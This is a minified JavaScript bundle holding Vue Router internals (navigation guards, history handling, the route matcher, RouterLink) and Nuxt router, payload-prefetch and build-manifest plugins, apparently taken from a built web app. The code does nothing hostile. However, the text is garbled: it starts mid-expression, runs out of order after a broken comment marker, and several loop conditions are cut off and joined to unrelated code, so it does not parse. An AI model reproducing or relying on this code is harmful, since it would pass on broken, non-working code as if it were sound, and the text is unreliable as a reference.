u=o.value,c=e.name,f=a.value,d=f&&f.components[c];if(!d)return Fa(n.default,{Component:d,route:u});const h=f.props[c],b=h?h===!0?u.params:typeof h=="function"?h(u):h:null,A=Ke(d,le({},b,t,{onVnodeUnmounted:P=>{P.component.isUnmounted&&(f.instances[c]=null)},ref:l}));return Fa(n.default,{Component:A,route:u})||A}}});function Fa(e,t){if(!e)return null;const n=e(t);return n.length===1?n[0]:n}const au=Sm;function xm(e){const t=dm(e.routes,e),n=e.parseQuery||mm,r=e.stringifyQuery||Ma,o=e.history,s=$n(),i=$n(),a=$n(),l=en(et);let u=et;cn&&e.scrollBehavior&&"scrollRestoration"in history&&(history.scrollRestoration="manual");const c=Bo.bind(null,R=>""+R),f=Bo.bind(null,jg),d=Bo.bind(null,rr);function h(R,U){let F,W;return ru(R)?(F=t.getRecordMatcher(R),W=U):W=R,t.addRoute(W,F)}function b(R){const U=t.getRecordMatcher(R);U&&t.removeRoute(U)}function E(){return t.getRoutes().map(R=>R.record)}function A(R){return!!t.getRecordMatcher(R)}function P(R,U){if(U=le({},U||l.value),typeof R=="string"){const g=Uo(n,R,U.path),w=t.resolve({path:g.path},U),k=o.createHref(g.fullPath);return le(g,w,{params:d(w.params),hash:rr(g.hash),redirectedFrom:void 0,href:k})}let F;if(R.path!=null)F=le({},R,{path:Uo(n,R.path,U.path).path});else{const g=le({},R.params);for(const w in g)g[w]==null&&delete g[w];F=le({},R,{params:f(g)}),U.params=f(U.params)}const W=t.resolve(F,U),ie=R.hash||"";W.params=c(d(W.params));const ge=Ug(r,le({},R,{hash:Ng(ie),path:W.path})),p=o.createHref(ge);return le({fullPath:ge,hash:ie,query:r===Ma?ym(R.query):R.query||{}},W,{redirectedFrom:void 0,href:p})}function y(R){return typeof R=="string"?Uo(n,R,l.value.path):le({},R)}function m(R,U){if(u!==R)return Tn(8,{from:U,to:R})}function v(R){return M(R)}function _(R){return v(le(y(R),{replace:!0}))}function C(R){const U=R.matched[R.matched.length-1];if(U&&U.redirect){const{redirect:F}=U;let W=typeof F=="function"?F(R):F;return typeof W=="string"&&(W=W.includes("?")||W.includes("#")?W=y(W):{path:W},W.params={}),le({query:R.query,hash:R.hash,params:W.path!=null?{}:R.params},W)}}function M(R,U){const F=u=P(R),W=l.value,ie=R.state,ge=R.force,p=R.replace===!0,g=C(F);if(g)return M(le(y(g),{state:typeof g=="object"?le({},ie,g.state):ie,force:ge,replace:p}),U||F);const w=F;w.redirectedFrom=U;let k;return!ge&&Dg(r,W,F)&&(k=Tn(16,{to:w,from:W}),ke(W,W,!0,!1)),(k?Promise.resolve(k):L(w,W)).catch(x=>dt(x)?dt(x,2)?x:Ye(x):q(x,w,W)).then(x=>{if(x){if(dt(x,2))return M(le({replace:p},y(x.to),{state:typeof x.to=="object"?le({},ie,x.to.state):ie,force:ge}),U||w)}else x=T(w,W,!0,p,ie);return V(w,W,x),x})}function S(R,U){const F=m(R,U);return F?Promise.reject(F):Promise.resolve()}function I(R){const U=sn.values().next().value;return U&&typeof U.runWithContext=="function"?U.runWithContext(R):R()}function L(R,U){let F;const[W,ie,ge]=Tm(R,U);F=Do(W.reverse(),"beforeRouteLeave",R,U);for(const g of W)g.leaveGuards.forEach(w=>{F.push(Lt(w,R,U))});const p=S.bind(null,R,U);return F.push(p),Ie(F).then(()=>{F=[];for(const g of s.list())F.push(Lt(g,R,U));return F.push(p),Ie(F)}).then(()=>{F=Do(ie,"beforeRouteUpdate",R,U);for(const g of ie)g.updateGuards.forEach(w=>{F.push(Lt(w,R,U))});return F.push(p),Ie(F)}).then(()=>{F=[];for(const g of ge)if(g.beforeEnter)if(nt(g.beforeEnter))for(const w of g.beforeEnter)F.push(Lt(w,R,U));else F.push(Lt(g.beforeEnter,R,U));return F.push(p),Ie(F)}).then(()=>(R.matched.forEach(g=>g.enterCallbacks={}),F=Do(ge,"beforeRouteEnter",R,U,I),F.push(p),Ie(F))).then(()=>{F=[];for(const g of i.list())F.push(Lt(g,R,U));return F.push(p),Ie(F)}).catch(g=>dt(g,8)?g:Promise.reject(g))}function V(R,U,F){a.list().forEach(W=>I(()=>W(R,U,F)))}function T(R,U,F,W,ie){const ge=m(R,U);if(ge)return ge;const p=U===et,g=cn?history.state:{};F&&(W||p?o.replace(R.fullPath,le({scroll:p&&g&&g.scroll},ie)):o.push(R.fullPath,ie)),l.value=R,ke(R,U,F,p),Ye()}let z;function oe(){z||(z=o.listen((R,U,F)=>{if(!hr.listening)return;const W=P(R),ie=C(W);if(ie){M(le(ie,{replace:!0}),W).catch(Kn);return}u=W;const ge=l.value;cn&&Qg(Ta(ge.fullPath,F.delta),wo()),L(W,ge).catch(p=>dt(p,12)?p:dt(p,2)?(M(p.to,W).then(g=>{dt(g,20)&&!F.delta&&F.type===or.pop&&o.go(-1,!1)}).catch(Kn),Promise.reject()):(F.delta&&o.go(-F.delta,!1),q(p,W,ge))).then(p=>{p=p||T(W,ge,!1),p&&(F.delta&&!dt(p,8)?o.go(-F.delta,!1):F.type===or.pop&&dt(p,20)&&o.go(-1,!1)),V(W,ge,p)}).catch(Kn)}))}let re=$n(),H=$n(),X;function q(R,U,F){Ye(R);const W=H.list();return W.length?W.forEach(ie=>ie(R,U,F)):console.error(R),Promise.reject(R)}function Re(){return X&&l.value!==et?Promise.resolve():new Promise((R,U)=>{re.add([R,U])})}function Ye(R){return X||(X=!R,oe(),re.list().forEach(([U,F])=>R?F(R):U()),re.reset()),R}function ke(R,U,F,W){const{scrollBehavior:ie}=e;if(!cn||!ie)return Promise.resolve();const ge=!F&&Xg(Ta(R.fullPath,0))||(W||!F)&&history.state&&history.state.scroll||null;return yt().then(()=>ie(R,U,ge)).then(p=>p&&Jg(p)).catch(p=>q(p,R,U))}const Ce=R=>o.go(R);let on;const sn=new Set,hr={currentRoute:l,listening:!0,addRoute:h,removeRoute:b,hasRoute:A,getRoutes:E,resolve:P,options:e,push:v,replace:_,go:Ce,back:()=>Ce(-1),forward:()=>Ce(1),beforeEach:s.add,beforeResolve:i.add,afterEach:a.add,onError:H.add,isReady:Re,install(R){const U=this;R.component("RouterLink",wm),R.component("RouterView",au),R.config.globalProperties.$router=U,Object.defineProperty(R.config.globalProperties,"$route",{enumerable:!0,get:()=>ye(l)}),cn&&!on&&l.value===et&&(on=!0,v(o.location).catch(ie=>{}));const F={};for(const ie in et)Object.defineProperty(F,ie,{get:()=>l.value[ie],enumerable:!0});R.provide(mi,U),R.provide(iu,lr(F)),R.provide(Cs,l);const W=R.unmount;sn.add(R),R.unmount=function(){sn.delete(R),sn.size<1&&(u=et,z&&z(),z=null,l.value=et,on=!1,X=!1),W()}}};function Ie(R){return R.reduce((U,F)=>U.then(()=>I(F)),Promise.resolve())}return hr}function Tm(e,t){const n=[],r=[],o=[],s=Math.max(t.matched.length,e.matched.length);for(let i=0;ixn(u,a))?r.push(a):n.push(a));const l=e.matched[i];l&&(t.matched.find(u=>xn(u,l))||o.push(l))}return[n,r,o]}const Rm=(e,t)=>t.path.replace(/(:\w+)\([^)]+\)/g,"$1").replace(/(:\w+)[?+*]/g,"$1").replace(/:\w+/g,n=>{var r;return((r=e.params[n.slice(1)])==null?void 0:r.toString())||""}),Ss=(e,t)=>{const n=e.route.matched.find(o=>{var s;return((s=o.components)==null?void 0:s.default)===e.Component.type}),r=t??(n==null?void 0:n.meta.key)??(n&&Rm(e.route,n));return typeof r=="function"?r(e.route):r},Am=(e,t)=>({default:()=>e?Ke(Uf,e===!0?{}:e,t):t});function yi(e){return Array.isArray(e)?e:[e]}const Pm="modulepreload",km=function(e,t){return e[0]==="."?new URL(e,t).href:e},Ba={},Im=function(t,n,r){let o=Promise.resolve();if(n&&n.length>0){const s=document.getElementsByTagName("link"),i=document.querySelector("meta[property=csp-nonce]"),a=(i==null?void 0:i.nonce)||(i==null?void 0:i.getAttribute("nonce"));o=Promise.all(n.map(l=>{if(l=km(l,r),l in Ba)return;Ba[l]=!0;const u=l.endsWith(".css"),c=u?'[rel="stylesheet"]':"";if(!!r)for(let h=s.length-1;h>=0;h--){const b=s[h];if(b.href===l&&(!u||b.rel==="stylesheet"))return}else if(document.querySelector(`link[href="${l}"]${c}`))return;const d=document.createElement("link");if(d.rel=u?"stylesheet":Pm,u||(d.as="script",d.crossOrigin=""),d.href=l,a&&d.setAttribute("nonce",a),document.head.appendChild(d),u)return new Promise((h,b)=>{d.addEventListener("load",h),d.addEventListener("error",()=>b(new Error(`Unable to preload CSS for ${l}`)))})}))}return o.then(()=>t()).catch(s=>{const i=new Event("vite:preloadError",{cancelable:!0});if(i.payload=s,window.dispatchEvent(i),!i.defaultPrevented)throw s})},sr=(...e)=>Im(...e).catch(t=>{const n=new Event("nuxt.preloadError");throw n.payload=t,window.dispatchEvent(n),t}),qo=null,Ua=[{name:"index",path:"/",meta:{},alias:[],redirect:qo==null?void 0:qo.redirect,component:()=>sr(()=>import("./D6J_H2_Z.js"),__vite__mapDeps([0,1,2,3,4]),import.meta.url).then(e=>e.default||e)}],Om=(e,t,n)=>(t=t===!0?{}:t,{default:()=>{var r;return t?Ke(e,t,n):(r=n.default)==null?void 0:r.call(n)}});function Da(e){const t=(e==null?void 0:e.meta.key)??e.path.replace(/(:\w+)\([^)]+\)/g,"$1").replace(/(:\w+)[?+*]/g,"$1").replace(/:\w+/g,n=>{var r;return((r=e.params[n.slice(1)])==null?void 0:r.toString())||""});return typeof t=="function"?t(e):t}function Lm(e,t){return e===t||t===et?!1:Da(e)!==Da(t)?!0:!e.matched.every((r,o)=>{var s,i;return r.components&&r.components.default===((i=(s=t.matched[o])==null?void 0:s.components)==null?void 0:i.default)})}const Mm={scrollBehavior(e,t,n){var u;const r=ve(),o=((u=ft().options)==null?void 0:u.scrollBehaviorType)??"auto";let s=n||void 0;const i=typeof e.meta.scrollToTop=="function"?e.meta.scrollToTop(e,t):e.meta.scrollToTop;if(!s&&t&&e&&i!==!1&&Lm(e,t)&&(s={left:0,top:0}),e.path===t.path)return t.hash&&!e.hash?{left:0,top:0}:e.hash?{el:e.hash,top:qa(e.hash),behavior:o}:!1;const a=c=>!!(c.meta.pageTransition??_s),l=a(t)&&a(e)?"page:transition:finish":"page:finish";return new Promise(c=>{r.hooks.hookOnce(l,async()=>{await new Promise(f=>setTimeout(f,0)),e.hash&&(s={el:e.hash,top:qa(e.hash),behavior:o}),c(s)})})}};function qa(e){try{const t=document.querySelector(e);if(t)return parseFloat(getComputedStyle(t).scrollMarginTop)}catch{}return 0}const Nm={hashMode:!1,scrollBehaviorType:"auto"},qe={...Nm,...Mm},$m=async e=>{var l;let t,n;if(!((l=e.meta)!=null&&l.validate))return;const r=ve(),o=ft();if(([t,n]=nr(()=>Promise.resolve(e.meta.validate(e))),t=await t,n(),t)===!0)return;const i=vo({statusCode:404,statusMessage:`Page Not Found: ${e.fullPath}`,data:{path:e.fullPath}}),a=o.beforeResolve(u=>{if(a(),u===e){const c=o.afterEach(async()=>{c(),await r.runWithContext(()=>un(i)),window.history.pushState({},"",e.fullPath)});return!1}})},Hm=async e=>{let t,n;const r=([t,n]=nr(()=>hi(e.path)),t=await t,n(),t);if(r.redirect)return rn(r.redirect,{acceptRelative:!0})?(window.location.href=r.redirect,!1):r.redirect},jm=[$m,Hm],Gn={};function Fm(e,t,n){const{pathname:r,search:o,hash:s}=t,i=e.indexOf("#");if(i>-1){const u=s.includes(e.slice(i))?e.slice(i).length:1;let c=s.slice(u);return c[0]!=="/"&&(c="/"+c),ua(c,"")}const a=ua(r,e),l=!n||Ap(a,n,{trailingSlash:!0})?a:n;return l+(l.includes("?")?"":o)+s}const Bm=Ue({name:"nuxt:router",enforce:"pre",async setup(e){var A,P;let t,n,r=ci().app.baseURL;qe.hashMode&&!r.includes("#")&&(r+="#");const o=((A=qe.history)==null?void 0:A.call(qe,r))??(qe.hashMode?tm(r):nu(r)),s=((P=qe.routes)==null?void 0:P.call(qe,Ua))??Ua;let i;const a=xm({...qe,scrollBehavior:(y,m,v)=>{if(m===et){i=v;return}if(qe.scrollBehavior){if(a.options.scrollBehavior=qe.scrollBehavior,"scrollRestoration"in window.history){const _=a.beforeEach(()=>{_(),window.history.scrollRestoration="manual"})}return qe.scrollBehavior(y,et,i||v)}},history:o,routes:s});"scrollRestoration"in window.history&&(window.history.scrollRestoration="auto"),e.vueApp.use(a);const l=en(a.currentRoute.value);a.afterEach((y,m)=>{l.value=m}),Object.defineProperty(e.vueApp.config.globalProperties,"previousRoute",{get:()=>l.value});const u=Fm(r,window.location,e.payload.path),c=en(a.currentRoute.value),f=()=>{c.value=a.currentRoute.value};e.hook("page:finish",f),a.afterEach((y,m)=>{var v,_,C,M;((_=(v=y.matched[0])==null?void 0:v.components)==null?void 0:_.default)===((M=(C=m.matched[0])==null?void 0:C.components)==null?void 0:M.default)&&f()});const d={};for(const y in c.value)Object.defineProperty(d,y,{get:()=>c.value[y]});e._route=lr(d),e._middleware=e._middleware||{global:[],named:{}};try{[t,n]=nr(()=>a.isReady()),await t,n()}catch(y){[t,n]=nr(()=>e.runWithContext(()=>un(y))),await t,n()}const h=u!==a.currentRoute.value.fullPath?a.resolve(u):a.currentRoute.value;f();const b=e.payload.state._layout;a.beforeEach(async(y,m)=>{var v;await e.callHook("page:loading:start"),y.meta=Ne(y.meta),e.isHydrating&&b&&!En(y.meta.layout)&&(y.meta.layout=b),e._processingMiddleware=!0;{const _=new Set([...jm,...e._middleware.global]);for(const C of y.matched){const M=C.meta.middleware;if(M)for(const S of yi(M))_.add(S)}{const C=await e.runWithContext(()=>hi(y.path));if(C.appMiddleware)for(const M in C.appMiddleware)C.appMiddleware[M]?_.add(M):_.delete(M)}for(const C of _){const M=typeof C=="string"?e._middleware.named[C]||await((v=Gn[C])==null?void 0:v.call(Gn).then(I=>I.default||I)):C;if(!M)throw new Error(`Unknown route middleware: '${C}'.`);const S=await e.runWithContext(()=>M(y,m));if(!e.payload.serverRendered&&e.isHydrating&&(S===!1||S instanceof Error)){const I=S||ms({statusCode:404,statusMessage:`Page Not Found: ${u}`});return await e.runWithContext(()=>un(I)),!1}if(S!==!0&&(S||S===!1))return S}}}),a.onError(async()=>{delete e._processingMiddleware,await e.callHook("page:loading:end")});const E=bo();return a.afterEach(async(y,m,v)=>{delete e._processingMiddleware,!e.isHydrating&&E.value&&await e.runWithContext(vh),v&&await e.callHook("page:loading:end"),y.matched.length===0&&await e.runWithContext(()=>un(ms({statusCode:404,fatal:!1,statusMessage:`Page not found: ${y.fullPath}`,data:{path:y.fullPath}})))}),e.hooks.hookOnce("app:created",async()=>{try{"name"in h&&(h.name=void 0),await a.replace({...h,force:!0}),a.options.scrollBehavior=qe.scrollBehavior}catch(y){await e.runWithContext(()=>un(y))}}),{provide:{router:a}}}}),Va=globalThis.requestIdleCallback||(e=>{const t=Date.now(),n={didTimeout:!1,timeRemaining:()=>Math.max(0,50-(Date.now()-t))};return setTimeout(()=>{e(n)},1)}),Vb=globalThis.cancelIdleCallback||(e=>{clearTimeout(e)}),lu=e=>{const t=ve();t.isHydrating?t.hooks.hookOnce("app:suspense:resolve",()=>{Va(e)}):Va(e)},Um=Ue({name:"nuxt:payload",setup(e){ft().beforeResolve(async(t,n)=>{if(t.path===n.path)return;const r=await Ea(t.path);r&&Object.assign(e.static.data,r.data)}),lu(()=>{var t;e.hooks.hook("link:prefetch",async n=>{mo(n).protocol||await Ea(n)}),((t=navigator.connection)==null?void 0:t.effectiveType)!=="slow-2g"&&setTimeout(_o,1e3)})}}),Dm=Ue(e=>{let t;async function n(){const r=await _o();t&&clearTimeout(t),t=setTimeout(n,1e3*60*60);try{const o=await $fetch(li("builds/latest.json")+`?${Date.now()}`);o.id!==r.id&&e.hooks.callHook("app:manifest:update",o)}catch{}}lu(()=>{t=setTimeout(n,1e3*60*60)})}),qm=!1;/*! + */const cn=typeof document<"u";function xg(e){return e.__esModule||e[Symbol.toStringTag]==="Module"}const le=Object.assign;function Bo(e,t){const n={};for(const r in t){const o=t[r];n[r]=nt(o)?o.map(e):e(o)}return n}const Kn=()=>{},nt=Array.isArray,Jc=/#/g,Tg=/&/g,Rg=/\//g,Ag=/=/g,Pg=/\?/g,Qc=/\+/g,kg=/%5B/g,Ig=/%5D/g,Xc=/%5E/g,Og=/%60/g,Yc=/%7B/g,Lg=/%7C/g,Zc=/%7D/g,Mg=/%20/g;function gi(e){return encodeURI(""+e).replace(Lg,"|").replace(kg,"[").replace(Ig,"]")}function Ng(e){return gi(e).replace(Yc,"{").replace(Zc,"}").replace(Xc,"^")}function ws(e){return gi(e).replace(Qc,"%2B").replace(Mg,"+").replace(Jc,"%23").replace(Tg,"%26").replace(Og,"`").replace(Yc,"{").replace(Zc,"}").replace(Xc,"^")}function $g(e){return ws(e).replace(Ag,"%3D")}function Hg(e){return gi(e).replace(Jc,"%23").replace(Pg,"%3F")}function jg(e){return e==null?"":Hg(e).replace(Rg,"%2F")}function rr(e){try{return decodeURIComponent(""+e)}catch{}return""+e}const Fg=/\/$/,Bg=e=>e.replace(Fg,"");function Uo(e,t,n="/"){let r,o={},s="",i="";const a=t.indexOf("#");let l=t.indexOf("?");return a=0&&(l=-1),l>-1&&(r=t.slice(0,l),s=t.slice(l+1,a>-1?a:t.length),o=e(s)),a>-1&&(r=r||t.slice(0,a),i=t.slice(a,t.length)),r=Vg(r??t,n),{fullPath:r+(s&&"?")+s+i,path:r,query:o,hash:rr(i)}}function Ug(e,t){const n=t.query?e(t.query):"";return t.path+(n&&"?")+n+(t.hash||"")}function Sa(e,t){return!t||!e.toLowerCase().startsWith(t.toLowerCase())?e:e.slice(t.length)||"/"}function Dg(e,t,n){const r=t.matched.length-1,o=n.matched.length-1;return r>-1&&r===o&&xn(t.matched[r],n.matched[o])&&eu(t.params,n.params)&&e(t.query)===e(n.query)&&t.hash===n.hash}function xn(e,t){return(e.aliasOf||e)===(t.aliasOf||t)}function eu(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const n in e)if(!qg(e[n],t[n]))return!1;return!0}function qg(e,t){return nt(e)?xa(e,t):nt(t)?xa(t,e):e===t}function xa(e,t){return nt(t)?e.length===t.length&&e.every((n,r)=>n===t[r]):e.length===1&&e[0]===t}function Vg(e,t){if(e.startsWith("/"))return e;if(!e)return t;const n=t.split("/"),r=e.split("/"),o=r[r.length-1];(o===".."||o===".")&&r.push("");let s=n.length-1,i,a;for(i=0;i1&&s--;else break;return n.slice(0,s).join("/")+"/"+r.slice(i).join("/")}var or;(function(e){e.pop="pop",e.push="push"})(or||(or={}));var zn;(function(e){e.back="back",e.forward="forward",e.unknown=""})(zn||(zn={}));function Wg(e){if(!e)if(cn){const t=document.querySelector("base");e=t&&t.getAttribute("href")||"/",e=e.replace(/^\w+:\/\/[^\/]+/,"")}else e="/";return e[0]!=="/"&&e[0]!=="#"&&(e="/"+e),Bg(e)}const Kg=/^[^#]+#/;function zg(e,t){return e.replace(Kg,"#")+t}function Gg(e,t){const n=document.documentElement.getBoundingClientRect(),r=e.getBoundingClientRect();return{behavior:t.behavior,left:r.left-n.left-(t.left||0),top:r.top-n.top-(t.top||0)}}const wo=()=>({left:window.scrollX,top:window.scrollY});function Jg(e){let t;if("el"in e){const n=e.el,r=typeof n=="string"&&n.startsWith("#"),o=typeof n=="string"?r?document.getElementById(n.slice(1)):document.querySelector(n):n;if(!o)return;t=Gg(o,e)}else t=e;"scrollBehavior"in document.documentElement.style?window.scrollTo(t):window.scrollTo(t.left!=null?t.left:window.scrollX,t.top!=null?t.top:window.scrollY)}function Ta(e,t){return(history.state?history.state.position-t:-1)+e}const Es=new Map;function Qg(e,t){Es.set(e,t)}function Xg(e){const t=Es.get(e);return Es.delete(e),t}let Yg=()=>location.protocol+"//"+location.host;function tu(e,t){const{pathname:n,search:r,hash:o}=t,s=e.indexOf("#");if(s>-1){let a=o.includes(e.slice(s))?e.slice(s).length:1,l=o.slice(a);return l[0]!=="/"&&(l="/"+l),Sa(l,"")}return Sa(n,e)+r+o}function Zg(e,t,n,r){let o=[],s=[],i=null;const a=({state:d})=>{const h=tu(e,location),b=n.value,E=t.value;let A=0;if(d){if(n.value=h,t.value=d,i&&i===b){i=null;return}A=E?d.position-E.position:0}else r(h);o.forEach(P=>{P(n.value,b,{delta:A,type:or.pop,direction:A?A>0?zn.forward:zn.back:zn.unknown})})};function l(){i=n.value}function u(d){o.push(d);const h=()=>{const b=o.indexOf(d);b>-1&&o.splice(b,1)};return s.push(h),h}function c(){const{history:d}=window;d.state&&d.replaceState(le({},d.state,{scroll:wo()}),"")}function f(){for(const d of s)d();s=[],window.removeEventListener("popstate",a),window.removeEventListener("beforeunload",c)}return window.addEventListener("popstate",a),window.addEventListener("beforeunload",c,{passive:!0}),{pauseListeners:l,listen:u,destroy:f}}function Ra(e,t,n,r=!1,o=!1){return{back:e,current:t,forward:n,replaced:r,position:window.history.length,scroll:o?wo():null}}function em(e){const{history:t,location:n}=window,r={value:tu(e,n)},o={value:t.state};o.value||s(r.value,{back:null,current:r.value,forward:null,position:t.length-1,replaced:!0,scroll:null},!0);function s(l,u,c){const f=e.indexOf("#"),d=f>-1?(n.host&&document.querySelector("base")?e:e.slice(f))+l:Yg()+e+l;try{t[c?"replaceState":"pushState"](u,"",d),o.value=u}catch(h){console.error(h),n[c?"replace":"assign"](d)}}function i(l,u){const c=le({},t.state,Ra(o.value.back,l,o.value.forward,!0),u,{position:o.value.position});s(l,c,!0),r.value=l}function a(l,u){const c=le({},o.value,t.state,{forward:l,scroll:wo()});s(c.current,c,!0);const f=le({},Ra(r.value,l,null),{position:c.position+1},u);s(l,f,!1),r.value=l}return{location:r,state:o,push:a,replace:i}}function nu(e){e=Wg(e);const t=em(e),n=Zg(e,t.state,t.location,t.replace);function r(s,i=!0){i||n.pauseListeners(),history.go(s)}const o=le({location:"",base:e,go:r,createHref:zg.bind(null,e)},t,n);return Object.defineProperty(o,"location",{enumerable:!0,get:()=>t.location.value}),Object.defineProperty(o,"state",{enumerable:!0,get:()=>t.state.value}),o}function tm(e){return e=location.host?e||location.pathname+location.search:"",e.includes("#")||(e+="#"),nu(e)}function nm(e){return typeof e=="string"||e&&typeof e=="object"}function ru(e){return typeof e=="string"||typeof e=="symbol"}const et={path:"/",name:void 0,params:{},query:{},hash:"",fullPath:"/",matched:[],meta:{},redirectedFrom:void 0},ou=Symbol("");var Aa;(function(e){e[e.aborted=4]="aborted",e[e.cancelled=8]="cancelled",e[e.duplicated=16]="duplicated"})(Aa||(Aa={}));function Tn(e,t){return le(new Error,{type:e,[ou]:!0},t)}function dt(e,t){return e instanceof Error&&ou in e&&(t==null||!!(e.type&t))}const Pa="[^/]+?",rm={sensitive:!1,strict:!1,start:!0,end:!0},om=/[.+*?^${}()[\]/\\]/g;function sm(e,t){const n=le({},rm,t),r=[];let o=n.start?"^":"";const s=[];for(const u of e){const c=u.length?[]:[90];n.strict&&!u.length&&(o+="/");for(let f=0;ft.length?t.length===1&&t[0]===80?1:-1:0}function am(e,t){let n=0;const r=e.score,o=t.score;for(;n0&&t[t.length-1]<0}const lm={type:0,value:""},cm=/[a-zA-Z0-9_]/;function um(e){if(!e)return[[]];if(e==="/")return[[lm]];if(!e.startsWith("/"))throw new Error(`Invalid path "${e}"`);function t(h){throw new Error(`ERR (${n})/"${u}": ${h}`)}let n=0,r=n;const o=[];let s;function i(){s&&o.push(s),s=[]}let a=0,l,u="",c="";function f(){u&&(n===0?s.push({type:0,value:u}):n===1||n===2||n===3?(s.length>1&&(l==="*"||l==="+")&&t(`A repeatable param (${u}) must be alone in its segment. eg: '/:ids+.`),s.push({type:1,value:u,regexp:c,repeatable:l==="*"||l==="+",optional:l==="*"||l==="?"})):t("Invalid state to consume buffer"),u="")}function d(){u+=l}for(;a{i(y)}:Kn}function i(c){if(ru(c)){const f=r.get(c);f&&(r.delete(c),n.splice(n.indexOf(f),1),f.children.forEach(i),f.alias.forEach(i))}else{const f=n.indexOf(c);f>-1&&(n.splice(f,1),c.record.name&&r.delete(c.record.name),c.children.forEach(i),c.alias.forEach(i))}}function a(){return n}function l(c){let f=0;for(;f=0&&(c.record.path!==n[f].record.path||!su(c,n[f]));)f++;n.splice(f,0,c),c.record.name&&!Oa(c)&&r.set(c.record.name,c)}function u(c,f){let d,h={},b,E;if("name"in c&&c.name){if(d=r.get(c.name),!d)throw Tn(1,{location:c});E=d.record.name,h=le(Ia(f.params,d.keys.filter(y=>!y.optional).concat(d.parent?d.parent.keys.filter(y=>y.optional):[]).map(y=>y.name)),c.params&&Ia(c.params,d.keys.map(y=>y.name))),b=d.stringify(h)}else if(c.path!=null)b=c.path,d=n.find(y=>y.re.test(b)),d&&(h=d.parse(b),E=d.record.name);else{if(d=f.name?r.get(f.name):n.find(y=>y.re.test(f.path)),!d)throw Tn(1,{location:c,currentLocation:f});E=d.record.name,h=le({},f.params,c.params),b=d.stringify(h)}const A=[];let P=d;for(;P;)A.unshift(P.record),P=P.parent;return{name:E,path:b,params:h,matched:A,meta:gm(A)}}return e.forEach(c=>s(c)),{addRoute:s,resolve:u,removeRoute:i,getRoutes:a,getRecordMatcher:o}}function Ia(e,t){const n={};for(const r of t)r in e&&(n[r]=e[r]);return n}function pm(e){return{path:e.path,redirect:e.redirect,name:e.name,meta:e.meta||{},aliasOf:void 0,beforeEnter:e.beforeEnter,props:hm(e),children:e.children||[],instances:{},leaveGuards:new Set,updateGuards:new Set,enterCallbacks:{},components:"components"in e?e.components||null:e.component&&{default:e.component}}}function hm(e){const t={},n=e.props||!1;if("component"in e)t.default=n;else for(const r in e.components)t[r]=typeof n=="object"?n[r]:n;return t}function Oa(e){for(;e;){if(e.record.aliasOf)return!0;e=e.parent}return!1}function gm(e){return e.reduce((t,n)=>le(t,n.meta),{})}function La(e,t){const n={};for(const r in e)n[r]=r in t?t[r]:e[r];return n}function su(e,t){return t.children.some(n=>n===e||su(e,n))}function mm(e){const t={};if(e===""||e==="?")return t;const r=(e[0]==="?"?e.slice(1):e).split("&");for(let o=0;os&&ws(s)):[r&&ws(r)]).forEach(s=>{s!==void 0&&(t+=(t.length?"&":"")+n,s!=null&&(t+="="+s))})}return t}function ym(e){const t={};for(const n in e){const r=e[n];r!==void 0&&(t[n]=nt(r)?r.map(o=>o==null?null:""+o):r==null?r:""+r)}return t}const bm=Symbol(""),Na=Symbol(""),mi=Symbol(""),iu=Symbol(""),Cs=Symbol("");function $n(){let e=[];function t(r){return e.push(r),()=>{const o=e.indexOf(r);o>-1&&e.splice(o,1)}}function n(){e=[]}return{add:t,list:()=>e.slice(),reset:n}}function Lt(e,t,n,r,o,s=i=>i()){const i=r&&(r.enterCallbacks[o]=r.enterCallbacks[o]||[]);return()=>new Promise((a,l)=>{const u=d=>{d===!1?l(Tn(4,{from:n,to:t})):d instanceof Error?l(d):nm(d)?l(Tn(2,{from:t,to:d})):(i&&r.enterCallbacks[o]===i&&typeof d=="function"&&i.push(d),a())},c=s(()=>e.call(r&&r.instances[o],t,n,u));let f=Promise.resolve(c);e.length<3&&(f=f.then(u)),f.catch(d=>l(d))})}function Do(e,t,n,r,o=s=>s()){const s=[];for(const i of e)for(const a in i.components){let l=i.components[a];if(!(t!=="beforeRouteEnter"&&!i.instances[a]))if(vm(l)){const c=(l.__vccOpts||l)[t];c&&s.push(Lt(c,n,r,i,a,o))}else{let u=l();s.push(()=>u.then(c=>{if(!c)return Promise.reject(new Error(`Couldn't resolve component "${a}" at "${i.path}"`));const f=xg(c)?c.default:c;i.components[a]=f;const h=(f.__vccOpts||f)[t];return h&&Lt(h,n,r,i,a,o)()}))}}return s}function vm(e){return typeof e=="object"||"displayName"in e||"props"in e||"__vccOpts"in e}function $a(e){const t=Fe(mi),n=Fe(iu),r=ce(()=>{const l=ye(e.to);return t.resolve(l)}),o=ce(()=>{const{matched:l}=r.value,{length:u}=l,c=l[u-1],f=n.matched;if(!c||!f.length)return-1;const d=f.findIndex(xn.bind(null,c));if(d>-1)return d;const h=Ha(l[u-2]);return u>1&&Ha(c)===h&&f[f.length-1].path!==h?f.findIndex(xn.bind(null,l[u-2])):d}),s=ce(()=>o.value>-1&&Cm(n.params,r.value.params)),i=ce(()=>o.value>-1&&o.value===n.matched.length-1&&eu(n.params,r.value.params));function a(l={}){return Em(l)?t[ye(e.replace)?"replace":"push"](ye(e.to)).catch(Kn):Promise.resolve()}return{route:r,href:ce(()=>r.value.href),isActive:s,isExactActive:i,navigate:a}}const _m=bt({name:"RouterLink",compatConfig:{MODE:3},props:{to:{type:[String,Object],required:!0},replace:Boolean,activeClass:String,exactActiveClass:String,custom:Boolean,ariaCurrentValue:{type:String,default:"page"}},useLink:$a,setup(e,{slots:t}){const n=Ne($a(e)),{options:r}=Fe(mi),o=ce(()=>({[ja(e.activeClass,r.linkActiveClass,"router-link-active")]:n.isActive,[ja(e.exactActiveClass,r.linkExactActiveClass,"router-link-exact-active")]:n.isExactActive}));return()=>{const s=t.default&&t.default(n);return e.custom?s:Ke("a",{"aria-current":n.isExactActive?e.ariaCurrentValue:null,href:n.href,onClick:n.navigate,class:o.value},s)}}}),wm=_m;function Em(e){if(!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)&&!e.defaultPrevented&&!(e.button!==void 0&&e.button!==0)){if(e.currentTarget&&e.currentTarget.getAttribute){const t=e.currentTarget.getAttribute("target");if(/\b_blank\b/i.test(t))return}return e.preventDefault&&e.preventDefault(),!0}}function Cm(e,t){for(const n in t){const r=t[n],o=e[n];if(typeof r=="string"){if(r!==o)return!1}else if(!nt(o)||o.length!==r.length||r.some((s,i)=>s!==o[i]))return!1}return!0}function Ha(e){return e?e.aliasOf?e.aliasOf.path:e.path:""}const 